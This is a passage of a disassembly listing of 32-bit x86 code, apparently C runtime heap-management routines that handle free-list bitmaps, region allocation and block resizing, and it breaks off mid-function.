		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41EBA4

loc_41EBBB:				; CODE XREF: sub_41EA6B+137j
		mov	edx, [ebp+var_4]

loc_41EBBE:				; CODE XREF: sub_41EA6B+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41EBE7
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi

loc_41EBE7:				; CODE XREF: sub_41EA6B+16Dj
					; sub_41EA6B+183j
		test	ecx, ecx
		jl	short loc_41EBF0
		shl	ecx, 1
		inc	edi
		jmp	short loc_41EBE7
; ---------------------------------------------------------------------------

loc_41EBF0:				; CODE XREF: sub_41EA6B+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41EC0D
		push	3Fh
		pop	esi

loc_41EC0D:				; CODE XREF: sub_41EA6B+19Dj
		cmp	esi, edi
		jz	loc_41ED22
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41EC7E
		cmp	edi, 20h
		jge	short loc_41EC4D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------

loc_41EC4D:				; CODE XREF: sub_41EA6B+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------

loc_41EC7B:				; CODE XREF: sub_41EA6B+1D6j
					; sub_41EA6B+203j
		mov	ebx, [ebp+arg_0]

loc_41EC7E:				; CODE XREF: sub_41EA6B+1B0j
					; sub_41EA6B+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41ED2E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41ED1F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41ECF0
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ECDE
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_41ECDE:				; CODE XREF: sub_41EA6B+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41ED1F
; ---------------------------------------------------------------------------

loc_41ECF0:				; CODE XREF: sub_41EA6B+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ED09
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_41ED09:				; CODE XREF: sub_41EA6B+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_41ED1F:				; CODE XREF: sub_41EA6B+24Ej
					; sub_41EA6B+283j
		mov	ecx, [ebp+var_8]

loc_41ED22:				; CODE XREF: sub_41EA6B+1A4j
		test	ecx, ecx
		jz	short loc_41ED31
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41ED31
; ---------------------------------------------------------------------------

loc_41ED2E:				; CODE XREF: sub_41EA6B+229j
		mov	ecx, [ebp+var_8]

loc_41ED31:				; CODE XREF: sub_41EA6B+2B9j
					; sub_41EA6B+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41ED67
		cmp	ebx, dword_4DD394
		jnz	short loc_41ED67
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DD38C
		jnz	short loc_41ED67
		and	dword_4DD394, 0

loc_41ED67:				; CODE XREF: sub_41EA6B+2E0j
					; sub_41EA6B+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_41ED6F:				; CODE XREF: sub_41EA6B+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EA6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ED74	proc near		; CODE XREF: sub_41EA6B+CCp
		mov	eax, dword_4DD398
		mov	ecx, dword_4DD388
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41EDB7
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DD39C
		push	edi
		push	dword_4DD3A4
		nop
		call	near ptr 2860000h
		cmp	eax, edi
		jz	short loc_41EE07
		add	dword_4DD388, 10h
		mov	dword_4DD39C, eax
		mov	eax, dword_4DD398

loc_41EDB7:				; CODE XREF: sub_41ED74+11j
		mov	ecx, dword_4DD39C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DD3A4
		lea	esi, [ecx+eax*4]
		call	near ptr 27D0000h
		nop
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41EE07
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 2660B3Bh
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41EE0B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DD3A4
		nop
		call	near ptr 27C0000h

loc_41EE07:				; CODE XREF: sub_41ED74+30j
					; sub_41ED74+67j
		xor	eax, eax
		jmp	short loc_41EE22
; ---------------------------------------------------------------------------

loc_41EE0B:				; CODE XREF: sub_41ED74+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DD398
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_41EE22:				; CODE XREF: sub_41ED74+95j
		pop	edi
		pop	esi
		retn
sub_41ED74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE25	proc near		; CODE XREF: sub_41EA6B+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx

loc_41EE37:				; CODE XREF: sub_41EE25+19j
		test	eax, eax
		jl	short loc_41EE40
		shl	eax, 1
		inc	ebx
		jmp	short loc_41EE37
; ---------------------------------------------------------------------------

loc_41EE40:				; CODE XREF: sub_41EE25+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax

loc_41EE55:				; CODE XREF: sub_41EE25+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41EE55
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 2660B3Bh
		test	eax, eax
		jnz	short loc_41EE88
		or	eax, 0FFFFFFFFh
		jmp	loc_41EF1B
; ---------------------------------------------------------------------------

loc_41EE88:				; CODE XREF: sub_41EE25+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41EECE
		lea	eax, [edi+10h]

loc_41EE95:				; CODE XREF: sub_41EE25+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41EE95

loc_41EECE:				; CODE XREF: sub_41EE25+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41EF0B
		or	[eax+4], edi

loc_41EF0B:				; CODE XREF: sub_41EE25+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_41EF1B:				; CODE XREF: sub_41EE25+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF20	proc near		; CODE XREF: sub_41BBE2+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41F0CE
		test	bl, 1
		jnz	loc_41F0C7
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41F0C7
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41EF97
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_41EF97:				; CODE XREF: sub_41EF20+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41EFE7
		cmp	ecx, 20h
		jnb	short loc_41EFC3
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EFE7
; ---------------------------------------------------------------------------

loc_41EFC3:				; CODE XREF: sub_41EF20+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41EFE7:				; CODE XREF: sub_41EF20+7Dj
					; sub_41EF20+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41F0B5
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41F021
		push	3Fh
		pop	edi

loc_41F021:				; CODE XREF: sub_41EF20+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41F0A3
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41F07A
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F06D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41F06D:				; CODE XREF: sub_41EF20+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41F09F
; ---------------------------------------------------------------------------

loc_41F07A:				; CODE XREF: sub_41EF20+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F090
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41F090:				; CODE XREF: sub_41EF20+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h

loc_41F09F:				; CODE XREF: sub_41EF20+158j
		shr	edx, cl
		or	[eax], edx

loc_41F0A3:				; CODE XREF: sub_41EF20+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41F0B8
; ---------------------------------------------------------------------------

loc_41F0B5:				; CODE XREF: sub_41EF20+E5j
		mov	edx, [ebp+arg_4]

loc_41F0B8:				; CODE XREF: sub_41EF20+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41F20E
; ---------------------------------------------------------------------------

loc_41F0C7:				; CODE XREF: sub_41EF20+52j
					; sub_41EF20+5Cj
		xor	eax, eax
		jmp	loc_41F211
; ---------------------------------------------------------------------------

loc_41F0CE:				; CODE XREF: sub_41EF20+49j
		jge	loc_41F20E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41F0F9
		push	3Fh
		pop	esi

loc_41F0F9:				; CODE XREF: sub_41EF20+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41F188
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F112
		push	3Fh
		pop	esi

loc_41F112:				; CODE XREF: sub_41EF20+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41F161
		cmp	esi, 20h
		jnb	short loc_41F13D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41F15E
; ---------------------------------------------------------------------------

loc_41F13D:				; CODE XREF: sub_41EF20+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41F15E:				; CODE XREF: sub_41EF20+214j
					; sub_41EF20+21Bj ...
		mov	ebx, [ebp+arg_4]

loc_41F161:				; CODE XREF: sub_41EF20+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F188
		push	3Fh
		pop	esi

loc_41F188:				; CODE XREF: sub_41EF20+1DDj
					; sub_41EF20+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41F205
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41F1DC
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1CF
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_41F1CF:				; CODE XREF: sub_41EF20+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41F201
; ---------------------------------------------------------------------------

loc_41F1DC:				; CODE XREF: sub_41EF20+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1F2
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_41F1F2:				; CODE XREF: sub_41EF20+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h

loc_41F201:				; CODE XREF: sub_41EF20+2BAj
		shr	edx, cl
		or	[eax], edx

loc_41F205:				; CODE XREF: sub_41EF20+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_41F20E:				; CODE XREF: sub_41EF20+1A2j
					; sub_41EF20:loc_41F0CEj
		push	1
		pop	eax

loc_41F211:				; CODE XREF: sub_41EF20+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F216	proc near		; CODE XREF: sub_41F50E:loc_41F6DDp
		cmp	dword_43AE70, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41F22A
		mov	esi, offset off_43AE60
		jmp	short loc_41F247
; ---------------------------------------------------------------------------

loc_41F22A:				; CODE XREF: sub_41F216+Bj
		push	2020h
		push	0
		push	dword_4DD3A4
		call	near ptr 27D0000h
		nop
		mov	esi, eax
		test	esi, esi
		jz	loc_41F353

loc_41F247:				; CODE XREF: sub_41F216+12j
		mov	ebp, dword_427064
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41F33C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41F32E
		mov	eax, offset off_43AE60
		cmp	esi, eax
		jnz	short loc_41F2A6
		cmp	off_43AE60, 0
		jnz	short loc_41F296
		mov	off_43AE60, eax

loc_41F296:				; CODE XREF: sub_41F216+79j
		cmp	off_43AE64, 0
		jnz	short loc_41F2BB
		mov	off_43AE64, eax
		jmp	short loc_41F2BB
; ---------------------------------------------------------------------------

loc_41F2A6:				; CODE XREF: sub_41F216+70j
		mov	[esi], eax
		mov	eax, off_43AE64
		mov	[esi+4], eax
		mov	off_43AE64, esi
		mov	eax, [esi+4]
		mov	[eax], esi

loc_41F2BB:				; CODE XREF: sub_41F216+87j
					; sub_41F216+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h

loc_41F2DD:				; CODE XREF: sub_41F216+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41F2DD
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch

loc_41F306:				; CODE XREF: sub_41F216+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41F32A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41F306
; ---------------------------------------------------------------------------

loc_41F32A:				; CODE XREF: sub_41F216+F7j
		mov	eax, esi
		jmp	short loc_41F355
; ---------------------------------------------------------------------------

loc_41F32E:				; CODE XREF: sub_41F216+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 2660CA0h

loc_41F33C:				; CODE XREF: sub_41F216+4Bj
		cmp	esi, offset off_43AE60
		jz	short loc_41F353
		push	esi
		push	0
		push	dword_4DD3A4
		call	near ptr 27C0000h
		nop

loc_41F353:				; CODE XREF: sub_41F216+2Bj
					; sub_41F216+12Cj
		xor	eax, eax

loc_41F355:				; CODE XREF: sub_41F216+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F216	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F35A	proc near		; CODE XREF: sub_41F3B0+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 2660CA0h
		cmp	off_43CE80, esi
		jnz	short loc_41F37F
		mov	eax, [esi+4]
		mov	off_43CE80, eax

loc_41F37F:				; CODE XREF: sub_41F35A+1Bj
		cmp	esi, offset off_43AE60
		jz	short loc_41F3A7
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DD3A4
		call	near ptr 27C0000h
		nop
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41F3A7:				; CODE XREF: sub_41F35A+2Bj
		or	dword_43AE70, 0FFFFFFFFh
		pop	esi
		retn
sub_41F35A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F3B0	proc near		; CODE XREF: sub_41F4C9+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43AE64
		push	edi

loc_41F3BD:				; CODE XREF: sub_41F3B0+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41F45B
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h

loc_41F3D6:				; CODE XREF: sub_41F3B0+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41F417
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 2660CA0h
		test	eax, eax
		jz	short loc_41F417
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DBE50
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41F40C
		cmp	eax, edi
		jbe	short loc_41F40F

loc_41F40C:				; CODE XREF: sub_41F3B0+56j
		mov	[esi+0Ch], edi

loc_41F40F:				; CODE XREF: sub_41F3B0+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41F424

loc_41F417:				; CODE XREF: sub_41F3B0+2Cj
					; sub_41F3B0+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41F3D6

loc_41F424:				; CODE XREF: sub_41F3B0+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41F45B
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41F45B
		push	1
		lea	eax, [ecx+20h]
		pop	edx

loc_41F43B:				; CODE XREF: sub_41F3B0+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41F44C
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41F43B

loc_41F44C:				; CODE XREF: sub_41F3B0+8Ej
		cmp	edx, 400h
		jnz	short loc_41F45B
		push	ecx
		call	sub_41F35A
		pop	ecx

loc_41F45B:				; CODE XREF: sub_41F3B0+11j
					; sub_41F3B0+7Dj ...
		cmp	esi, off_43AE64
		jz	short loc_41F46D
		cmp	[ebp+arg_0], 0
		jg	loc_41F3BD

loc_41F46D:				; CODE XREF: sub_41F3B0+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F3B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F472	proc near		; CODE XREF: sub_41BA91+3Ap
					; sub_41BBE2+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43AE60
		push	esi
		mov	ecx, edx

loc_41F47E:				; CODE XREF: sub_41F472+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41F488
		cmp	eax, [ecx+14h]
		jb	short loc_41F490

loc_41F488:				; CODE XREF: sub_41F472+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41F4C5
		jmp	short loc_41F47E
; ---------------------------------------------------------------------------

loc_41F490:				; CODE XREF: sub_41F472+14j
		test	al, 0Fh
		jnz	short loc_41F4C5
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41F4C5
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------

loc_41F4C5:				; CODE XREF: sub_41F472+1Aj
					; sub_41F472+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41F472	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F4C9	proc near		; CODE XREF: sub_41BA91+4Dp
					; sub_41BBE2+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41F50D
		inc	dword_4DBE50
		cmp	dword_4DBE50, 20h
		jnz	short locret_41F50D
		push	10h
		call	sub_41F3B0
		pop	ecx

locret_41F50D:				; CODE XREF: sub_41F4C9+2Bj
					; sub_41F4C9+3Aj
		retn
sub_41F4C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F50E	proc near		; CODE XREF: sub_41BBE2+1ACp
					; sub_41BEF3+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43CE80
		push	edi

loc_41F51C:				; CODE XREF: sub_41F50E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41F5C7
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
